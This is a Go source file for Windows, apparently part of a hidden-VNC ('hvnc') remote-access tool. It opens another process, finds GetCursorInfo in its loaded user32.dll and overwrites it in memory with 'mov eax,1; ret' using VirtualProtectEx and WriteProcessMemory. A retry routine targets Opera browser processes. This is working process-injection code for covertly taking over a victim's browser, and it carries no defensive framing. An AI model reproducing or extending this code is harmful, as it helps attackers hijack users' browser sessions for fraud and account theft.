164 lines
4.6 KiB
Go
164 lines
4.6 KiB
Go
//go:build windows
|
|
|
|
package capture
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"strings"
|
|
"syscall"
|
|
"time"
|
|
"unsafe"
|
|
)
|
|
|
|
var (
|
|
procGetProcAddress = kernel32.NewProc("GetProcAddress")
|
|
procLoadLibraryW = kernel32.NewProc("LoadLibraryW")
|
|
procVirtualProtectEx = kernel32.NewProc("VirtualProtectEx")
|
|
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
|
|
procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx")
|
|
procGetModuleFileNameExW = psapi.NewProc("GetModuleFileNameExW")
|
|
)
|
|
|
|
var psapi = syscall.NewLazyDLL("psapi.dll")
|
|
|
|
const (
|
|
pageExecuteReadWrite = 0x40
|
|
listModulesAll = 0x03
|
|
)
|
|
|
|
func patchGetCursorInfo(pid uint32) error {
|
|
addr, err := remoteGetProcAddress(pid, "user32.dll", "GetCursorInfo")
|
|
if err != nil {
|
|
return fmt.Errorf("find GetCursorInfo: %w", err)
|
|
}
|
|
|
|
// mov eax, 1; ret
|
|
patch := []byte{0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3}
|
|
|
|
hProcess, _, callErr := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS_INJ), 0, uintptr(pid))
|
|
if hProcess == 0 {
|
|
return fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
|
|
}
|
|
defer procCloseHandle.Call(hProcess)
|
|
|
|
var oldProtect uint32
|
|
ret, _, callErr := procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
|
|
pageExecuteReadWrite, uintptr(unsafe.Pointer(&oldProtect)))
|
|
if ret == 0 {
|
|
return fmt.Errorf("VirtualProtectEx: %v", callErr)
|
|
}
|
|
|
|
var written uintptr
|
|
ret, _, callErr = procWriteProcessMemory.Call(hProcess, addr,
|
|
uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)),
|
|
uintptr(unsafe.Pointer(&written)))
|
|
if ret == 0 {
|
|
return fmt.Errorf("WriteProcessMemory: %v", callErr)
|
|
}
|
|
|
|
verify := make([]byte, len(patch))
|
|
var read uintptr
|
|
procReadProcessMemory.Call(hProcess, addr,
|
|
uintptr(unsafe.Pointer(&verify[0])), uintptr(len(verify)),
|
|
uintptr(unsafe.Pointer(&read)))
|
|
if int(read) == len(patch) {
|
|
ok := true
|
|
for i := range patch {
|
|
if verify[i] != patch[i] {
|
|
ok = false
|
|
break
|
|
}
|
|
}
|
|
if !ok {
|
|
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
|
|
}
|
|
}
|
|
|
|
var dummy uint32
|
|
procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
|
|
uintptr(oldProtect), uintptr(unsafe.Pointer(&dummy)))
|
|
|
|
return nil
|
|
}
|
|
|
|
func remoteGetProcAddress(pid uint32, dllName, funcName string) (uintptr, error) {
|
|
dllNameUTF16, _ := syscall.UTF16PtrFromString(dllName)
|
|
localModule, _, callErr := procLoadLibraryW.Call(uintptr(unsafe.Pointer(dllNameUTF16)))
|
|
if localModule == 0 {
|
|
return 0, fmt.Errorf("LoadLibrary %s: %v", dllName, callErr)
|
|
}
|
|
|
|
funcNameBytes, _ := syscall.BytePtrFromString(funcName)
|
|
localFunc, _, callErr := procGetProcAddress.Call(localModule, uintptr(unsafe.Pointer(funcNameBytes)))
|
|
if localFunc == 0 {
|
|
return 0, fmt.Errorf("GetProcAddress %s!%s: %v", dllName, funcName, callErr)
|
|
}
|
|
|
|
offset := localFunc - localModule
|
|
|
|
remoteBase, err := getRemoteModuleBase(pid, dllName)
|
|
if err != nil {
|
|
return 0, err
|
|
}
|
|
|
|
return remoteBase + offset, nil
|
|
}
|
|
|
|
func getRemoteModuleBase(pid uint32, moduleName string) (uintptr, error) {
|
|
hProcess, _, callErr := procOpenProcess.Call(
|
|
uintptr(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ), 0, uintptr(pid))
|
|
if hProcess == 0 {
|
|
return 0, fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
|
|
}
|
|
defer procCloseHandle.Call(hProcess)
|
|
|
|
var modules [1024]uintptr
|
|
var cbNeeded uint32
|
|
ret, _, callErr := procEnumProcessModules.Call(hProcess,
|
|
uintptr(unsafe.Pointer(&modules[0])),
|
|
uintptr(len(modules))*unsafe.Sizeof(modules[0]),
|
|
uintptr(unsafe.Pointer(&cbNeeded)),
|
|
listModulesAll)
|
|
if ret == 0 {
|
|
return 0, fmt.Errorf("EnumProcessModulesEx: %v", callErr)
|
|
}
|
|
|
|
count := int(cbNeeded) / int(unsafe.Sizeof(modules[0]))
|
|
target := strings.ToLower(moduleName)
|
|
|
|
var nameBuf [260]uint16
|
|
for i := 0; i < count; i++ {
|
|
n, _, _ := procGetModuleFileNameExW.Call(hProcess, modules[i],
|
|
uintptr(unsafe.Pointer(&nameBuf[0])), uintptr(len(nameBuf)))
|
|
if n == 0 {
|
|
continue
|
|
}
|
|
fullPath := syscall.UTF16ToString(nameBuf[:n])
|
|
baseName := strings.ToLower(fullPath)
|
|
if idx := strings.LastIndexByte(baseName, '\\'); idx >= 0 {
|
|
baseName = baseName[idx+1:]
|
|
}
|
|
if baseName == target || baseName == target+".dll" {
|
|
return modules[i], nil
|
|
}
|
|
}
|
|
|
|
return 0, fmt.Errorf("module %s not found in PID %d", moduleName, pid)
|
|
}
|
|
|
|
func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
|
|
for attempt := 0; attempt < maxRetries; attempt++ {
|
|
if attempt > 0 {
|
|
time.Sleep(delay)
|
|
}
|
|
if err := patchGetCursorInfo(pid); err != nil {
|
|
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
|
|
continue
|
|
}
|
|
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
|
|
return
|
|
}
|
|
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
|
|
}
|